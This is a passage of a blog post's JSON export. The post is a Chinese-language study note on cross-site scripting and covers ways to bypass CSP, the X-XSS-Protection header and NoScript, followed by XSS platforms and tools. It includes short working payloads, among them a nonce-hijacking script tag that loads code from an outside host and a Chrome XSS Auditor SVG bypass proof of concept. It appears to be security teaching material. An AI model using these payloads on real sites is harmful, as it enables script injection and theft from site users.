href=\"http:\/\/foo.com\/jmp.php?url=attack.com\">http:\/\/foo.com\/jmp.php?url=attack.com<\/a><\/p>\n<\/blockquote>\n<p><strong>\u5229\u7528\u6d4f\u89c8\u5668\u8865\u5168<\/strong><\/p>\n<p>\u6709\u4e9b\u7f51\u7ad9\u9650\u5236\u53ea\u6709\u67d0\u4e9b\u811a\u672c\u624d\u80fd\u4f7f\u7528\uff0c\u5f80\u5f80\u4f1a\u4f7f\u7528<script>\u6807\u7b7e\u7684nonce\u5c5e\u6027\uff0c\u53ea\u6709nonce\u4e00\u81f4\u7684\u811a\u672c\u624d\u751f\u6548\uff0c\u6bd4\u5982CSP\u8bbe\u7f6e\u6210\u4e0b\u9762\u8fd9\u6837\uff1a<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-html\">Content-Security-Policy: default-src &#039;none&#039;;script-src &#039;nonce-abc&#039;<\/code><\/pre>\n<p>\u90a3\u4e48\u5f53\u811a\u672c\u63d2\u5165\u70b9\u4e3a\u5982\u4e0b\u7684\u60c5\u51b5\u65f6<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-html\">&lt;p&gt;\u63d2\u5165\u70b9&lt;\/p&gt;&lt;script id=&quot;aa&quot; nonce=&quot;abc&quot;&gt;document.write(&#039;CSP&#039;);&lt;\/script&gt;<\/code><\/pre>\n<p>\u53ef\u4ee5\u63d2\u5165<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-html\">&lt;script src=\/\/14.rs a=&quot;<\/code><\/pre>\n<p>\u8fd9\u6837\u4f1a\u62fc\u6210\u4e00\u4e2a\u65b0\u7684script\u6807\u7b7e\uff0c\u5176\u4e2d\u7684src\u53ef\u4ee5\u81ea\u7531\u8bbe\u5b9a<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-html\">&lt;p&gt;&lt;script src=\/\/14.rs a=&quot;&lt;\/p&gt;&lt;script id=&quot;aa&quot; nonce=&quot;abc&quot;&gt;document.write(&#039;CSP&#039;);&lt;\/script&gt;<\/code><\/pre>\n<p><strong>MIME Sniff\uff08\u5229\u7528\u4e0a\u4f20\u6587\u4ef6\uff09<\/strong><\/p>\n<p>\u4e3e\u4f8b\u6765\u8bf4\uff0ccsp\u7981\u2f4c\u8de8\u7ad9\u8bfb\u53d6\u811a\u672c\uff0c\u4f46\u662f\u53ef\u4ee5\u8de8\u7ad9\u8bfbimg\uff0c\u90a3\u4e48\u4f20\u2f00\u4e2a \u542b\u6709\u811a\u672c\u7684img\uff0c\u518d<code>&lt;script href=&#039;http:\/\/xxx.com\/xx.jpg&#039;&gt;<\/code>\uff0c\u8fd9\u2fa5csp\u8ba4\u4e3a\u662f\u2f00\u4e2aimg\uff0c\u7ed5\u8fc7\u4e86\u68c0\u67e5\uff0c\u5982\u679c\u2f79\u7ad9\u6ca1\u6709\u56de\u6b63\u786e\u7684mime type\uff0c\u6d4f\u89c8\u5668\u4f1a\u8fdb\u2f8f\u731c\u6d4b\uff0c\u5c31\u53ef\u80fd\u52a0\u8f7d\u8be5img\u4f5c\u4e3a\u811a\u672c\u3002<\/p>\n<p><strong>\u5229\u7528iframe\u6807\u7b7e<\/strong><\/p>\n<p>1.\u5982\u679c\u9875\u9762A\u4e2d\u6709CSP\u9650\u5236\uff0c\u4f46\u662f\u9875\u9762B\u4e2d\u6ca1\u6709\uff0c\u540c\u65f6A\u548cB\u540c\u6e90\uff0c\u90a3\u4e48\u5c31\u53ef\u4ee5\u5728A\u9875\u9762\u4e2d\u5305\u542bB\u9875\u9762\u6765\u7ed5\u8fc7CSP\uff1a<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-html\">&lt;iframe src=&quot;B&quot;&gt;&lt;\/iframe&gt;<\/code><\/pre>\n<p>2.\u5728Chrome\u4e0b\uff0ciframe\u6807\u7b7e\u652f\u6301csp\u5c5e\u6027\uff0c\u8fd9\u6709\u65f6\u5019\u53ef\u4ee5\u7528\u6765\u7ed5\u8fc7\u4e00\u4e9b\u9632\u5fa1\uff0c\u4f8b\u5982<a href=\"http:\/\/xn--xxxjsxss%2Ccspjs-7p7vja982aud72b51dtv8bkva880mb5af71bsa810izon3lknn0adscb00hxh3bn54ap56neta339c733co0i.\/\">http:\/\/xxx\u9875\u9762\u6709\u4e2ajs\u5e93\u4f1a\u8fc7\u6ee4XSS\u5411\u91cf\uff0c\u6211\u4eec\u5c31\u53ef\u4ee5\u4f7f\u7528csp\u5c5e\u6027\u6765\u7981\u6389\u8fd9\u4e2ajs\u5e93\u3002<\/a><\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-html\">&lt;iframe csp=&quot;script-src &#039;unsafe-inline&#039;&quot; src=&quot;http:\/\/xxx&quot;&gt;&lt;\/iframe&gt;<\/code><\/pre>\n<p>\u53ef\u89c1\u7ed5\u8fc7CSP\u7684\u59ff\u52bf\u5176\u5b9e\u6709\u5f88\u591a\uff0c\u5728\u4e0d\u540c\u7684\u60c5\u51b5\u4e0b\u6709\u4e0d\u540c\u7684\u7ed5\u8fc7\u65b9\u6cd5\uff0c\u4ee5\u4e0a\u53ea\u4ecb\u7ecd\u4e86\u5e38\u89c1\u7684\u51e0\u79cd\u3002<\/p>\n<h5><span class=\"ez-toc-section\" id=\"x-xss-protection-%e7%bb%95%e8%bf%87\"><\/span>X-XSS-Protection \u7ed5\u8fc7<span class=\"ez-toc-section-end\"><\/span><\/h5>\n<h6><span class=\"ez-toc-section\" id=\"xss-protection%e6%a6%82%e5%bf%b5\"><\/span>xss-protection\u6982\u5ff5<span class=\"ez-toc-section-end\"><\/span><\/h6>\n<p>\u4eceIE8 \u5f00\u59cb\uff0cIE \u6d4f\u89c8\u5668\u5185\u7f6e\u4e86\u4e00\u4e2a\u9488\u5bf9XSS\u653b\u51fb\u7684\u9632\u62a4\u673a\u5236\uff0c\u8fd9\u4e2a\u6d4f\u89c8\u5668\u5185\u7f6e\u7684\u9632\u62a4\u673a\u5236\u5c31\u662f\u6240\u8c13\u7684XSS filter\uff0c\u8fd9\u4e2a\u9632\u62a4\u673a\u5236\u4e3b\u8981\u7528\u4e8e\u51cf\u8f7b\u53cd\u5c04\u578bXSS \u653b\u51fb\u5e26\u6765\u7684\u5371\u5bb3\u3002 \u57fa\u4e8eWebkit \u5185\u6838\u7684\u6d4f\u89c8\u5668\uff08\u6bd4\u5982Chrome\uff09\u968f\u540e\u4e5f\u589e\u52a0\u4e00\u4e2a\u540d\u4e3aXSS auditor \u7684\u9632\u62a4\u673a\u5236\uff0c\u4f5c\u7528\u548cIE\u4e2d\u7684XSS filter\u7c7b\u4f3c\u3002\u8fd9\u4e24\u79cdXSS\u9632\u62a4\u673a\u5236\u7684\u76ee\u7684\u90fd\u5f88\u7b80\u5355\uff0c\u5982\u679c\u6d4f\u89c8\u5668\u68c0\u6d4b\u5230\u4e86\u542b\u6709\u6076\u610f\u4ee3\u7801\u7684\u8f93\u5165\u88ab\u5448\u73b0\u5728HTML\u6587\u6863\u4e2d\uff0c\u90a3\u4e48\u8fd9\u6bb5\u5448\u73b0\u7684\u6076\u610f\u4ee3\u7801\u8981\u4e48\u88ab\u5220\u9664\uff0c\u8981\u4e48\u88ab\u8f6c\u4e49\uff0c\u6076\u610f\u4ee3\u7801\u4e0d\u4f1a\u88ab\u6b63\u5e38\u7684\u6e32\u67d3\u51fa\u6765\uff0c\u5f53\u7136\u4e86\uff0c\u6d4f\u89c8\u5668\u662f\u5426\u8981\u62e6\u622a\u8fd9\u6bb5\u6076\u610f\u4ee3\u7801\u53d6\u51b3\u4e8e\u6d4f\u89c8\u5668\u7684XSS\u9632\u62a4\u8bbe\u7f6e\u3002<\/p>\n<p>\u81f3\u4e8e\u600e\u4e48\u8bbe\u7f6e\u6d4f\u89c8\u5668\u7684XSS\u9632\u62a4\u673a\u5236\uff0c\u5176\u5b9e\u5f88\u7b80\u5355\uff0c\u53ea\u8981\u5728HTTP\u54cd\u5e94\u62a5\u6587\u7684\u5934\u90e8\u589e\u52a0\u4e00\u4e2aX-XSS-Protection \u5b57\u6bb5\uff0c\u660e\u786e\u5730\u544a\u8bc9\u6d4f\u89c8\u5668XSS filter\/auditor\u8be5\u5982\u4f55\u5de5\u4f5c\u3002 X-XSS-Protection \u7684\u5b57\u6bb5\u6709\u4e09\u4e2a\u53ef\u9009\u914d\u7f6e\u503c<\/p>\n<ul>\n<li>0\uff1a \u8868\u793a\u5173\u95ed\u6d4f\u89c8\u5668\u7684XSS\u9632\u62a4\u673a\u5236<\/li>\n<li>1\uff1a\u5220\u9664\u68c0\u6d4b\u5230\u7684\u6076\u610f\u4ee3\u7801\uff0c \u5982\u679c\u54cd\u5e94\u62a5\u6587\u4e2d\u6ca1\u6709\u770b\u5230X-XSS-Protection \u5b57\u6bb5\uff0c\u90a3\u4e48\u6d4f\u89c8\u5668\u5c31\u8ba4\u4e3aX-XSS-Protection\u914d\u7f6e\u4e3a1\uff0c\u8fd9\u662f\u6d4f\u89c8\u5668\u7684\u9ed8\u8ba4\u8bbe\u7f6e<\/li>\n<li>1; mode=block\uff1a\u5982\u679c\u68c0\u6d4b\u5230\u6076\u610f\u4ee3\u7801\uff0c\u5219\u4e0d\u6e32\u67d3\u6076\u610f\u4ee3\u7801<\/li>\n<\/ul>\n<h6><span class=\"ez-toc-section\" id=\"chrome-xss-auditor-svg-bypass\"><\/span>Chrome XSS Auditor - SVG Bypass<span class=\"ez-toc-section-end\"><\/span><\/h6>\n<p>\u539f\u59cb PoC :<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-html\">https:\/\/localhost\/&lt;svg&gt;&lt;script&gt;\/&lt;1\/&gt;alert(0)&lt;\/script&gt;<\/code><\/pre>\n<p>\u5b98\u65b9\u7ed9\u51fa\u8865\u4e01\u4e2d\u7684\u63cf\u8ff0\u5bf9\u8fd9\u4e00\u6f0f\u6d1e\u8fdb\u884c\u4e86\u4ecb\u7ecd\uff0c\u5927\u610f\u662f\uff0c\u5f53\u8fc7\u6ee4\u5668\u8fc7\u6ee4 script \u6807\u7b7e\u7684\u5185\u5bb9\u65f6\uff0c\u7b2c\u4e00\u4e2a\u533a\u5757\u7684\u8fc7\u6ee4\u7ed3\u679c\u5c06\u4f1a\u5f71\u54cd\u540e\u7eed\u533a\u5757\u3002\u5982\u679c\u7b2c\u4e00\u4e2a\u533a\u5757\u88ab\u5904\u7406\u4e3a\u7a7a\u65f6\uff0c\u8fc7\u6ee4\u5339\u914d\u5c06\u4f1a\u5931\u8d25\u3002<\/p>\n<p>\u8be6\u7ec6\u53c2\u8003(\u6f0f\u6d1e\u539f\u7406\u5206\u6790)\uff1a<a href=\"https:\/\/www.madebug.net\/static\/drops\/papers-6905.html\">sourse<\/a><\/p>\n<p>\u5173\u4e8e\u66f4\u591a\u7684Chrome XSS Auditor bypass\u53c2\u8003\uff1a<a href=\"https:\/\/www.leavesongs.com\/chrome-xss-auditor-bypass-collection.html?utm_source=tuicool&amp;utm_medium=referral\">sourse<\/a><\/p>\n<h6><span class=\"ez-toc-section\" id=\"noscript-bypass\"><\/span>NoScript bypass<span class=\"ez-toc-section-end\"><\/span><\/h6>\n<p><strong>\u5229\u7528\u767d\u540d\u5355\u7ad9\u70b9\u7684Cross Site Script\u6f0f\u6d1e<\/strong><\/p>\n<p>\u5728NoScript\u5b89\u5168\u673a\u5236\u4e2d\uff0c\u56e0\u4e3a\u767d\u540d\u5355\u4e2d\u7684\u7ad9\u70b9\u662f\u5141\u8bb8\u5728\u6d4f\u89c8\u5668\u4e2d\u6267\u884cJavaScript\u811a\u672c\u7684\uff0c\u53ea\u8981\u6709\u4e00\u4e2a\u7b80\u5355\u7684XSS\u6f0f\u6d1e\u5c31\u53ef\u4ee5\u4e86\u3002\u867d\u7136NoScript\u672c\u8eab\u4e5f\u63d0\u4f9b\u4e86cross-sitescript\u8fc7\u6ee4\u5668\uff0c\u4f46\u662f\u5b83\u5e76\u4e0d\u80fd\u5b8c\u5168\u963b\u6b62XSS\u653b\u51fb\u3002<\/p>\n<p><strong>\u5229\u7528MITM\u653b\u51fb<\/strong><\/p>\n<p>\u6211\u4eec\u77e5\u9053NoScript\u662f\u901a\u8fc7\u767d\u540d\u5355\u4e0a\u7684\u7ad9\u70b9\u6765\u786e\u5b9a\u54ea\u4e9b\u7f51\u7ad9\u53ef\u4ee5\u81ea\u7531\u6267\u884c\u811a\u672c\u3002\u4e5f\u5c31\u662f\u8bf4\uff0c\u6240\u6709\u7684\u5b89\u5168\u5168\u90e8\u4f9d\u8d56\u4e8e\u767d\u540d\u5355\u4e0a\u7f51\u7ad9\u7684\u7ad9\u70b9\u5b89\u5168\uff0c\u4ee5\u53ca\u8be5\u7f51\u7ad9\u6240\u5728\u7684\u5185\u7f51\u7684\u5b89\u5168\u60c5\u51b5\u3002<\/p>\n<p>\u90a3\u4e48\uff0c\u53ea\u8981\u5728\u5185\u7f51\u4e2d\u6b3a\u9a97\u7528\u6237\u7684\u6d4f\u89c8\u5668\uff0c\u5c31\u80fd\u6267\u884cJavaScript\u811a\u672c\uff0cNoScript\u5c31\u80fd\u88ab\u7ed5\u8fc7\u3002<\/p>\n<p>\u4ee5\u4e0a\u4e24\u79cd\u65b9\u6cd5\u7684\u5b9e\u4f8b\u6f14\u793a\uff1a<a href=\"http:\/\/www.mottoin.com\/detail\/503.html\">http:\/\/www.mottoin.com\/detail\/503.html<\/a><\/p>\n<h4><span class=\"ez-toc-section\" id=\"xss-%e5%b9%b3%e5%8f%b0%e5%92%8c%e5%b7%a5%e5%85%b7\"><\/span>XSS \u5e73\u53f0\u548c\u5de5\u5177<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<h5><span class=\"ez-toc-section\" id=\"xss%e5%b9%b3%e5%8f%b0\"><\/span>XSS\u5e73\u53f0<span class=\"ez-toc-section-end\"><\/span><\/h5>\n<p>xss\u5e73\u53f0\u662f\u5bf9xss\u6f0f\u6d1e\u8fdb\u884c\u5229\u7528\u7684\u7a0b\u5e8f\uff0c\u7f51\u4e0a\u6709\u8bb8\u591a\u7c7b\u4f3c\u7684\u5f00\u653e\u5e73\u53f0\uff0c\u4f46\u662f\u60f3\u8981\u597d\u7684\u4f53\u9a8c\u5c31\u5f97\u81ea\u5df1\u642d\u5efa\u4e00\u4e2a\u3002\u4ee5\u4e0b\u662f\u642d\u5efaXSS\u5e73\u53f0\u7684\u53c2\u8003\u94fe\u63a5\uff1a<\/p>\n<p><a href=\"https:\/\/bbs.zkaq.cn\/t\/99.html\">Xss\u5e73\u53f0\u6e90\u7801<\/a>\u2014\u2014\u6765\u81ea\u8bba\u575b<\/p>\n<p><a href=\"https:\/\/github.com\/trysec\/BlueLotus_XSSReceiver\u2014\u2014github\">https:\/\/github.com\/trysec\/BlueLotus_XSSReceiver\u2014\u2014github<\/a><\/p>\n<h5><span class=\"ez-toc-section\" id=\"xss%e5%b7%a5%e5%85%b7\"><\/span>XSS\u5de5\u5177<span class=\"ez-toc-section-end\"><\/span><\/h5>\n<p><a href=\"https:\/\/github.com\/beefproject\/beef\">BeEF-XSS<\/a><\/p>\n<p>BeEF\u662f\u4e00\u6b3e\u4e13\u6ce8\u4e8eWeb\u6d4f\u89c8\u5668\u7684\u6e17\u900f\u6d4b\u8bd5\u5de5\u5177\uff0c\u5b83\u5185\u7f6e\u6709\u8bb8\u591a\u7684payload\uff0c\u5176\u4e2d\u7684XSS\u6a21\u5757\u529f\u80fd\u5341\u5206\u5f3a\u5927\u3002<\/p>\n<p><a href=\"https:\/\/github.com\/s0md3v\/XSStrike\">XSStrike<\/a><\/p>\n<p>XSStrike\u662f\u4e00\u4e2axss\u68c0\u6d4b\u5de5\u5177\uff0c\u914d\u5907\u4e86\u56db\u4e2a\u624b\u5de5\u7f16\u5199\u7684\u89e3\u6790\u5668\u3001\u4e00\u4e2a\u667a\u80fd\u7684payload\u751f\u6210\u5668\u3001\u4e00\u4e2a\u5f3a\u5927\u7684fuzzing\u5f15\u64ce\u548c\u4e00\u4e2a\u901f\u5ea6\u5f88\u5feb\u7684\u722c\u866b\u3002XSStrike\u4e0d\u50cf\u5176\u4ed6\u5de5\u5177\u90a3\u6837\u6ce8\u5165payload\u5e76\u68c0\u67e5\u5b83\u7684\u5de5\u4f5c\uff0c\u800c\u662f\u4f7f\u7528\u591a\u4e2a\u89e3\u6790\u5668\u5206\u6790\u54cd\u5e94\uff0c\u7136\u540e\u901a\u8fc7\u4e0efuzzing\u5f15\u64ce\u96c6\u6210\u7684\u4e0a\u4e0b\u6587\u5206\u6790\u6765\u4fdd\u8bc1\u6709\u6548\u8f7d\u8377\u7684\u5de5\u4f5c\u3002<\/p>\n<p>\u9664\u6b64\u4e4b\u5916\uff0cXSStrike\u8fd8\u5177\u6709\u7f51\u9875\u722c\u866b\u3001fuzzing\u3001\u53c2\u6570\u53d1\u73b0\u548cWAF\u68c0\u6d4b\u529f\u80fd\u3002\u540c\u65f6\u80fd\u591f\u626b\u63cfDOM XSS\u6f0f\u6d1e\u3002<\/p>\n<p><strong>\u53c2\u8003\u94fe\u63a5<\/strong><\/p>\n<p><a href=\"https:\/\/www.fooying.com\/the-art-of-xss-1-introduction\/\">https:\/\/www.fooying.com\/the-art-of-xss-1-introduction\/<\/a> -\u8de8\u7ad9\u7684\u827a\u672f-XSS\u5165\u95e8\u4e0e\u4ecb\u7ecd<\/p>\n<p><a href=\"https:\/\/thief.one\/2017\/05\/31\/1\/\">https:\/\/thief.one\/2017\/05\/31\/1\/<\/a> -\u6d45\u8c08\u8de8\u7ad9\u811a\u672c\u653b\u51fb\u4e0e\u9632\u5fa1<\/p>\n<p><a href=\"https:\/\/www.dazhuanlan.com\/2020\/03\/17\/5e70313b6e0f1\/\">https:\/\/www.dazhuanlan.com\/2020\/03\/17\/5e70313b6e0f1\/<\/a> -CSP\u7684\u77e5\u8bc6\u603b\u7ed3\u548c\u7ed5\u8fc7<\/p>\n<p><a href=\"https:\/\/owasp.org\/www-community\/xss-filter-evasion-cheatsheet\">XSS Filter Evasion Cheat Sheet | OWASP<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>XSS\u57fa\u7840 \u8de8\u7ad9\u811a\u672c\uff08\u82f1\u8bed\uff1aCross-site scripting\uff0c\u901a\u5e38\u7b80\u79f0\u4e3a\uff1aXSS\uff09\u662f\u4e00\u79cd\u7f51\u7ad9\u5e94\u7528\u7a0b\u5e8f\u7684 [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[22,19],"tags":[],"class_list":["post-292","post","type-post","status-publish","format-standard","hentry","category-webpt-studynote","category-penetration-test"],"_links":{"self":[{"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/posts\/292","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/comments?post=292"}],"version-history":[{"count":8,"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/posts\/292\/revisions"}],"predecessor-version":[{"id":1055,"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/posts\/292\/revisions\/1055"}],"wp:attachment":[{"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/media?parent=292"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/categories?post=292"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/tags?post=292"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}